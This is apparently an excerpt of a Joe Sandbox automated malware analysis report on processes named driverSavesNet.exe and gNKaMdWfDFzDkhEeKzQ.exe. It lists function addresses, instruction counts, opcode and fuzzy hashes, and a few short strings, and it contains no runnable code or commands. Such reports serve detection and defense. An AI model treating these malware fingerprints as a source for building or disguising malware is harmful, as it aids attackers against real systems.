Instruction Fuzzy Hash: FE018B30A0942E8AEB74AB44D455BF433D0FF55300F1100BAD83ED31B2EE7C6A844E05

Function 00007FFD9BAB0C50 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2075417137.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 642939471eb276470a66c3359c717c648678c56a4c9ae1cbafa95d8b2f3cec03
Instruction ID: 67eb26373b2c32a94296426daedc756fcd83812e05aad331e40409f9f1755bc8
Opcode Fuzzy Hash: 642939471eb276470a66c3359c717c648678c56a4c9ae1cbafa95d8b2f3cec03
Instruction Fuzzy Hash: 05018F30A0E38D8FE722EBA4C8942DD7FB0EF02314F1541E6D490DB2A2D6786644CB41

Function 00007FFD9BAB3DB8 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2075417137.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97f8a2abdd1d69e08835a9d10c9ad74a83ce43f0a7dbce24f38052b7efcaebfd
Instruction ID: ee8ca2fe7f3e14f29fc626b4f6590de0d6df24e91fb3d0bec4b643b7140bc5a3
Opcode Fuzzy Hash: 97f8a2abdd1d69e08835a9d10c9ad74a83ce43f0a7dbce24f38052b7efcaebfd
Instruction Fuzzy Hash: 02F01230A0941D8AEA34E784D465BB933D1AF55300F1141B6DC6EC31B3FD596A554D45

Function 00007FFD9BAB10C0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2075417137.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94b521067c053ae7bee76690f7d7f72980d6e5c86209b83488d6d9305d6d2e95
Instruction ID: 51cc2cd92a4da049ac204cd34e6da2e5f688a4f0176c27e1d56ced8c0db38193
Opcode Fuzzy Hash: 94b521067c053ae7bee76690f7d7f72980d6e5c86209b83488d6d9305d6d2e95
Instruction Fuzzy Hash: 44E02621F5C85906EB7CA67468B25B07280DB85324B0506B9D42AC22DACC491CC14281

Function 00007FFD9BAB6D82 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2075417137.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 249affd7a88c1d9a1bd5e1382f543eda43fb2906d88ec0653c190584254be13a
Instruction ID: f547c5426388880b67f3a734bce72dc0cda1a2d4eb03e5063ce49adb5f9d96d6
Opcode Fuzzy Hash: 249affd7a88c1d9a1bd5e1382f543eda43fb2906d88ec0653c190584254be13a
Instruction Fuzzy Hash: 6BE0ED30F1A52A4EF7B4A754C8707BA62A1DF94300F1200B9D85DD32E1CEB8AE804E05

Function 00007FFD9BAB06AD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2075417137.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33790b693b33e3520821af63ad25aeeed2eec822eedf587a6f43cf9c169c737b
Instruction ID: 8919a7bb639d76e86de8dda7991906ad8cdcab6852ee70d6fefdf4d11bffd332
Opcode Fuzzy Hash: 33790b693b33e3520821af63ad25aeeed2eec822eedf587a6f43cf9c169c737b
Instruction Fuzzy Hash: DAC04C05F5B67F05E47533EF54760BDB1409BD8A24FD31176D52C800B1ACDD22D6499E

Function 00007FFD9BAB4848 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2075417137.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fe64e2144fda49c2d5433c8b5d0862630423827752cf26e6c5b86e237a7827f
Instruction ID: 0f0270a960c865358375325475da126f0a4c2d5a1ccac6400a521e4a313bf95d
Opcode Fuzzy Hash: 1fe64e2144fda49c2d5433c8b5d0862630423827752cf26e6c5b86e237a7827f
Instruction Fuzzy Hash: 20C04C01F2D82A07E2596214443157E48429F94719F95067AE41EC76DECF5C6E4146C7

Function 00007FFD9BAB06D0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.2075417137.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0f5d5a96ac0085cd394bc949c56670d544e71c2d86c442eaaaebd6d5c752576
Instruction ID: 237243e81f1873b410120a193226a9664ca9bc5b40f33891c1002adabd4f6e1d
Opcode Fuzzy Hash: d0f5d5a96ac0085cd394bc949c56670d544e71c2d86c442eaaaebd6d5c752576
Instruction Fuzzy Hash: 26B01200D5741F00E43433FB0852078B0409B48100FC20070D41C80091A8CD12940686

Non-executed Functions

Function 00007FFD9BAB09B0 Relevance: 5.2, Strings: 4, Instructions: 183COMMON

Download Yara Rule

Strings

"s9, xrefs: 00007FFD9BAB0B46
!k9, xrefs: 00007FFD9BAB0B4E
#{9, xrefs: 00007FFD9BAB0B3E
c9, xrefs: 00007FFD9BAB0B56

Memory Dump Source

Source File: 00000023.00000002.2075417137.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_driverSavesNet.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: 1df7e47f73bff6b66363cae1a68e20f7d11ab3a7c7e3cca05e72d7ca416e168e
Instruction ID: 1d5021e09c221ab0cbb245b6e3da368cf33fb4296f0f56560403ef8c8ae2b1bb
Opcode Fuzzy Hash: 1df7e47f73bff6b66363cae1a68e20f7d11ab3a7c7e3cca05e72d7ca416e168e
Instruction Fuzzy Hash: 53419E07B0957645E23973FD78219E99B848FA927FB0847B7F56E8D0D74C486081C2E9

Analysis Process: driverSavesNet.exePID: 1196, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9BAD0D48 Relevance: 1.5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

Strings

5X_H, xrefs: 00007FFD9BAD0DF3

Memory Dump Source

Source File: 00000024.00000002.2067162334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_driverSavesNet.jbxd

Similarity

API ID:
String ID: 5X_H
API String ID: 0-3241812158
Opcode ID: 381811426066936b418d016ff74cfc37453903bd99fa7e5ebfb86d9c576fd146
Instruction ID: 1449efc290a09625e31feda6fd349849e004464a3d49140d1b90316516d029b4
Opcode Fuzzy Hash: 381811426066936b418d016ff74cfc37453903bd99fa7e5ebfb86d9c576fd146
Instruction Fuzzy Hash: 3591E271A19B8D4FE799CB6C88667AD7FE1EF99314F0102BED009CB2E6CAB41400C740

Function 00007FFD9BAD08D0 Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2067162334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09b0d671a1514ac648b0a47425db36289f5530cd7a313ef03cf34edfb216ad31
Instruction ID: 37c5c426a24d465726b33a2fe3c444553e2f92d247258f4743f6d00acf554086
Opcode Fuzzy Hash: 09b0d671a1514ac648b0a47425db36289f5530cd7a313ef03cf34edfb216ad31
Instruction Fuzzy Hash: 47415712B0C6590EE319F7BC64A66F87780DF9933AB1406BBE44ECB1EBCD14A841C284

Function 00007FFD9BAD0960 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2067162334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68c355460233f3296f5bb99065fe62758b37556d5a4855ed62f505bbd0931cc2
Instruction ID: 4474013a4d527f4d17be833e3c9f04f6668cb2002d6d6f004479edbaa423a2f3
Opcode Fuzzy Hash: 68c355460233f3296f5bb99065fe62758b37556d5a4855ed62f505bbd0931cc2
Instruction Fuzzy Hash: 77310B11B1CA190BE758F76C646AAF873C1DF9832AB1446BAE40EC71E7CC19AC418284

Function 00007FFD9BAD0998 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2067162334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a24ad254547cbc956749c3473c6b5816f57a4faf1e871afbd4758abecc81b61b
Instruction ID: 2ef9a67170b64051eab7e2cb15ee5c97fc3284f8671a6c7945e17018b3860fb0
Opcode Fuzzy Hash: a24ad254547cbc956749c3473c6b5816f57a4faf1e871afbd4758abecc81b61b
Instruction Fuzzy Hash: 1E21F520B1DA1D0FE798A76C44AAAB976C6EFDC321B5106B9E40EC32E6DD54AC418285

Function 00007FFD9BAD0C25 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2067162334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e04b8d13e7d29307d83493966f9a642020f20d87ca8d11e7f1b5ba53db0f2ba9
Instruction ID: f9cea97ad97f13833c349f83483f26ea1d62b834156bf061eaac6abf50123373
Opcode Fuzzy Hash: e04b8d13e7d29307d83493966f9a642020f20d87ca8d11e7f1b5ba53db0f2ba9
Instruction Fuzzy Hash: B9212332B0D68D8FE722DBA8C8611DD7FA0EF82225F5542B7D0948B1A2D534260AC781

Function 00007FFD9BAD3C97 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2067162334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62c209096f2d014f53f92e0b8ba334b1c24f71d2dbb888f9f9b383771376ca75
Instruction ID: a0ec6d8e9f00628bfce56857fc63fd0c9059aa969afab082e1371bcef12e4210
Opcode Fuzzy Hash: 62c209096f2d014f53f92e0b8ba334b1c24f71d2dbb888f9f9b383771376ca75
Instruction Fuzzy Hash: A6117720F1E50D4BE774A75898756B832D1FF98700F4106B9DC5DD31B2EE686A448A86

Function 00007FFD9BAD0C38 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2067162334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f167d2c328ace82e6bea6aaffeb6e7e20fe376c5b84142e91019a7caa5339eae
Instruction ID: d173df1b319f5ce4f4031ef0246df6649d2e50c1a30ab2e2f3d4f9286725d882
Opcode Fuzzy Hash: f167d2c328ace82e6bea6aaffeb6e7e20fe376c5b84142e91019a7caa5339eae
Instruction Fuzzy Hash: 0911C231B0D78D8FE722EBA8C8612DD7FB0EF82215F5646B7D084DB2A2D5742649C781

Function 00007FFD9BAD108D Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2067162334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08e241b2d0c306bc913e3cb3bec10778005251515820839b8ddaeafeaa68aa20
Instruction ID: 91e65b051e19fc0457ffcc2e5f057cefee3ab9ca592e92954291cfb8a00b21d4
Opcode Fuzzy Hash: 08e241b2d0c306bc913e3cb3bec10778005251515820839b8ddaeafeaa68aa20
Instruction Fuzzy Hash: EA012611A8F6C51FE32997B04C729B13FA0CFD722070A06FAD089CB5E3CC8D18868352

Function 00007FFD9BAD0C40 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2067162334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d1227a0db15936b749299b2470ac7cbbd42965d7ae5ad8e0eb510b25a131f44
Instruction ID: c5f2d4ec2c3d2db1890054fab2f44f07ad88e8af0bad556d80f9d25e17b7785b
Opcode Fuzzy Hash: 0d1227a0db15936b749299b2470ac7cbbd42965d7ae5ad8e0eb510b25a131f44
Instruction Fuzzy Hash: B601A131A0978C8FE722DBA8C4652DD7FB0EF42215F5542A7D084DB2A2D5346649C780

Function 00007FFD9BAD3317 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2067162334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8aade2213acbb0c66ef7eb2623aff9002ff2fc52ee648be7ade67e892379a8f0
Instruction ID: 4e55df90e4311c4465f795e24aa8ccab28f2dd5e53aec5e576919ef7c6175538
Opcode Fuzzy Hash: 8aade2213acbb0c66ef7eb2623aff9002ff2fc52ee648be7ade67e892379a8f0
Instruction Fuzzy Hash: 1011F130E089598FDB58DB04C895FAD73E1EB94315F1185A9D00EE32A1CE75AEC4CF41

Function 00007FFD9BAD0C48 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2067162334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d385bf5c502e73a22ce85bde723e6ef2f819422f52b3288676537e8fd266a383
Instruction ID: 7fcc67fde60c10ff9e3e55dd08151ae7000fdd95b4398029fdf0b76f35fbb2e1
Opcode Fuzzy Hash: d385bf5c502e73a22ce85bde723e6ef2f819422f52b3288676537e8fd266a383
Instruction Fuzzy Hash: FF01D431A0E38C8FD722EBA8C8642DD7FB0EF42314F5542E7D094DB2A2D6346649C780

Function 00007FFD9BAD3D09 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2067162334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd233542d1197a8f666320950966509fbf1c2f93546b1e9a1d2a8809b334e580
Instruction ID: e3b7e71489b79d4f34f58b7771b313ad58a14e46bfd580ca04b7f8899e88b4cd
Opcode Fuzzy Hash: dd233542d1197a8f666320950966509fbf1c2f93546b1e9a1d2a8809b334e580
Instruction Fuzzy Hash: 5D018630A4940E8AEB74AB44D8657F833E0FF94300F5102B9D86ED31B2EE7C6A848E05

Function 00007FFD9BAD0C50 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2067162334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1ea58bd26233f39b9ee19e15d0aa60023f853429496442229ad1f2088e6d3a9
Instruction ID: 1dfc671ad6a012be2c70a60788467c7f4970ebef7ee4d7d6dfa4c0aee0c6f581
Opcode Fuzzy Hash: d1ea58bd26233f39b9ee19e15d0aa60023f853429496442229ad1f2088e6d3a9
Instruction Fuzzy Hash: 83018F30A0E3898FE722EBA4C4A42DD7FB0EF42314F5542E6D494DB2A2D6786644C741

Function 00007FFD9BAD0BB5 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2067162334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7989595981c1ca71df758204383800d230170be55bc1cd2a850614b9061402d
Instruction ID: cb77aaa978fb2174931e2a35d3a4faae3ea253ced5253d12fd110395cfcb8e23
Opcode Fuzzy Hash: c7989595981c1ca71df758204383800d230170be55bc1cd2a850614b9061402d
Instruction Fuzzy Hash: 27F0E520B5E54E4BEA6067B8D8A64647F60FF9B214FC701E2D008C60A2E98D5999C701

Function 00007FFD9BAD3DB8 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2067162334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97f8a2abdd1d69e08835a9d10c9ad74a83ce43f0a7dbce24f38052b7efcaebfd
Instruction ID: ba0fb093fa8b5563d5e2155d30a5f9b65e4863a01fa29d7cae7ff6df735beb3d
Opcode Fuzzy Hash: 97f8a2abdd1d69e08835a9d10c9ad74a83ce43f0a7dbce24f38052b7efcaebfd
Instruction Fuzzy Hash: 9EF03030B0E40D8AEA38E784D8657B933D1BFD5300F5242B9DC5EC31B3EE6C6A558945

Function 00007FFD9BAD10C0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2067162334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47e99ef6e07fcc201d5dd3cd0385775b842492041b5a2a83f3add9a796b4696b
Instruction ID: 2c42f662561ba9fa897300e499e66df9237ef0677b9ff9303ddb770f8959ceb8
Opcode Fuzzy Hash: 47e99ef6e07fcc201d5dd3cd0385775b842492041b5a2a83f3add9a796b4696b
Instruction Fuzzy Hash: CBE02621B5D84906EB7CAA7468B25B57280DF85324B0506BDD01EC22DACC491CC14281

Function 00007FFD9BAD6D82 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2067162334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 249affd7a88c1d9a1bd5e1382f543eda43fb2906d88ec0653c190584254be13a
Instruction ID: 12a6122988e8e44da8a618da94cc64c1cee587c05beddc5a43776adbf15202bc
Opcode Fuzzy Hash: 249affd7a88c1d9a1bd5e1382f543eda43fb2906d88ec0653c190584254be13a
Instruction Fuzzy Hash: 5CE0ED30F0A51A4EF7B4A754D8707FA62A1DFD4300F1201B4D84D932E1CEB86E808A05

Function 00007FFD9BAD0B95 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2067162334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20056f28f5c8e8269b0aa9eac1031a2c7cb373701acce21d1f9b336049b5c4e8
Instruction ID: 0bcf2a2cff71db57945e74d6c8b4285cc9a2756c14225e9a4767606726afb3f9
Opcode Fuzzy Hash: 20056f28f5c8e8269b0aa9eac1031a2c7cb373701acce21d1f9b336049b5c4e8
Instruction Fuzzy Hash: BDD0A73062994E4FCA00A778C8498147BA0FB4F204BC610E1E408C7162C50849558740

Function 00007FFD9BAD06AD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2067162334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33790b693b33e3520821af63ad25aeeed2eec822eedf587a6f43cf9c169c737b
Instruction ID: c1c5748a8dc136576655fab3f77df0e96b3fa356ce0e8e1ad69765a392633c31
Opcode Fuzzy Hash: 33790b693b33e3520821af63ad25aeeed2eec822eedf587a6f43cf9c169c737b
Instruction Fuzzy Hash: 78C04C05F5B55F01E47533EE54761BDB5409BD8A24FD31372D50C840B1ACDD22D5819E

Function 00007FFD9BAD4848 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2067162334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd76c09d3c691da2af0ddff794f90db30b4a3df4627fa8ee3d34d9c4e4ee4489
Instruction ID: 0c7a45addbd54cc608a8c9096125426172bdef323157e0270b101dfe15032a81
Opcode Fuzzy Hash: bd76c09d3c691da2af0ddff794f90db30b4a3df4627fa8ee3d34d9c4e4ee4489
Instruction Fuzzy Hash: 96C08C01F1D81A03E259221844315BE04428F94318F450278F40ECB2DECE0C6E0102C7

Function 00007FFD9BAD06D0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000024.00000002.2067162334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_driverSavesNet.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0f5d5a96ac0085cd394bc949c56670d544e71c2d86c442eaaaebd6d5c752576
Instruction ID: 45db06b9e3f4b73dfbb7327c34e4a4119a4c0feedad66a8fe33e8a888888a631
Opcode Fuzzy Hash: d0f5d5a96ac0085cd394bc949c56670d544e71c2d86c442eaaaebd6d5c752576
Instruction Fuzzy Hash: C1B01200E5744F00E43433FA086617CB040ABC8100FC20270D40C80091A8CD12944286

Non-executed Functions

Function 00007FFD9BAD09B0 Relevance: 5.2, Strings: 4, Instructions: 180COMMON

Download Yara Rule

Strings

c9, xrefs: 00007FFD9BAD0B56
"s9, xrefs: 00007FFD9BAD0B46
#{9, xrefs: 00007FFD9BAD0B3E
!k9, xrefs: 00007FFD9BAD0B4E

Memory Dump Source

Source File: 00000024.00000002.2067162334.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_36_2_7ffd9bad0000_driverSavesNet.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: ec5cf5dbe4a0c799f04b1805ccdab3884dbb3fbe44ef2731f6ac8bad4fdeeef1
Instruction ID: 3857c88eda43eb0ef45cf33cf29d5008836862970f7c00f7e29d251c0b821639
Opcode Fuzzy Hash: ec5cf5dbe4a0c799f04b1805ccdab3884dbb3fbe44ef2731f6ac8bad4fdeeef1
Instruction Fuzzy Hash: 0E41AF02B0952615E23A73FD78228FD6B449FA937FB4843B3F45E8D0EB4D086086C2E5

Analysis Process: gNKaMdWfDFzDkhEeKzQ.exePID: 7848, Parent PID: 2580COMMON

Executed Functions

Function 00007FFD9BAC0D48 Relevance: 1.5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

Strings

5Y_H, xrefs: 00007FFD9BAC0DF3

Memory Dump Source

Source File: 00000026.00000002.2092555380.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd9bac0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID: 5Y_H
API String ID: 0-3237497481
Opcode ID: e0fb0ba8d7bb113275cc956b35d48dcb18f4455a156a8c3f31dd01ad07c6d7e6
Instruction ID: f45e7151ec61ad48a872c520139751ca2df5756c25a874137a62111a4abb0683
Opcode Fuzzy Hash: e0fb0ba8d7bb113275cc956b35d48dcb18f4455a156a8c3f31dd01ad07c6d7e6
Instruction Fuzzy Hash: BF91F4B1A1AA8D8FE799DB68C865BA97FE1FF5A314F4102BED009C72D6CBB41400C740

Function 00007FFD9BAC08D0 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2092555380.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd9bac0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 723f100b05ce63861ff7fe0a7d2f4e254bf9e1f546fcb46b4c36c8fca5b8c9a5
Instruction ID: 6695442c7bfa94622870319bdf7ccee5b27c6f6c89886a484bd524089dd897de
Opcode Fuzzy Hash: 723f100b05ce63861ff7fe0a7d2f4e254bf9e1f546fcb46b4c36c8fca5b8c9a5
Instruction Fuzzy Hash: 27413712B0D55D0EE758F7BCA4A5AF97780DF5933AB0846BBE44ECB1E7CD14A841C284

Function 00007FFD9BAC0960 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2092555380.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd9bac0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4bdaf677f339b0f153873c0596b0657b61d9f60e648ccbd0bb26f46342e483a
Instruction ID: 452bebd164631b05c6281b95b2399e5c53e68794f10844fc7b9b5301aaca3785
Opcode Fuzzy Hash: f4bdaf677f339b0f153873c0596b0657b61d9f60e648ccbd0bb26f46342e483a
Instruction Fuzzy Hash: 7031F511B0D91D0BE7A8B76C646AAF873C1DF5832AB1542BAE40EC72E7CC18AC418284

Function 00007FFD9BAC0998 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000026.00000002.2092555380.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_7ffd9bac0000_gNKaMdWfDFzDkhEeKzQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e2d5754d387ae1a7f9e2540af0e490f255cf98b86bcbe7302359068cc873e7c
